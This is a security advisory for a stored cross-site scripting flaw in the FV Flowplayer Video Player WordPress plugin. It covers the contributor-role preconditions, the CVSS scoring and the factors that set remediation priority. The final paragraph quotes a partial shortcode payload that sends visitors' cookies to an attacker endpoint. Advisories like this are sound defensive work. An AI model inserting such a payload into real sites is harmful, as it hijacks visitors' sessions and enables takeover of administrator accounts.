FV Flowplayer Video Player EUVD-2026-40899

Exploitation requires an authenticated WordPress account with at minimum the contributor role - unauthenticated or subscriber-level access is insufficient. The attacker must have create-post or edit-post permissions that allow insertion of the [video_player] shortcode with arbitrary attribute values. The specific trigger is the align attribute rendered without output escaping in controller/shortcodes.php at lines L227 and L293. Exploitation is further conditioned on the FV Flowplayer Video Player plugin being active on the target installation. Limiting factors include: (1) contributor or higher role is required and must be granted by an administrator; (2) injected payload only executes when a victim's browser loads a page containing the shortcode-bearing post, meaning the attack scales with site traffic to affected pages; (3) sites with closed user registration and a small, vetted contributor base face materially lower realistic risk than open community platforms.

The CVSS 3.1 base score of 6.4 (Medium) is driven by AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N. The PR:L metric is the primary risk-limiting factor: exploitation is gated behind contributor-level WordPress role assignment, which is not universally granted. On single-author or tightly-managed sites this is a meaningful barrier; on multi-author content platforms, news blogs, or community sites where contributor registration is open or roles are loosely managed, the barrier is materially lower. The AC:L and S:C metrics together indicate that once contributor access is obtained, exploitation is straightforward and crosses security boundaries. No EPSS data was provided, so exploitation probability cannot be quantified from that signal. Absence from CISA KEV and lack of identified public POC together suggest this is not currently a mass-exploitation target. Real-world priority should be elevated for WordPress installations with open contributor registration or many external authors, and deprioritized for sites where contributor access is restricted to a small, fully-trusted set.

An attacker who acquires contributor-level access to a WordPress site - through credential stuffing, phishing, or open contributor registration - creates or edits a post embedding a [video_player align='<script>document.location=...+document.cookie</script>'] shortcode. Every visitor to any page where that post's content appears has the script silently executed in their browser, delivering session tokens to an attacker-controlled endpoint and enabling full account takeover of affected users including administrators. No public POC has been identified, but the technique requires only basic knowledge of WordPress shortcode syntax and standard XSS payloads.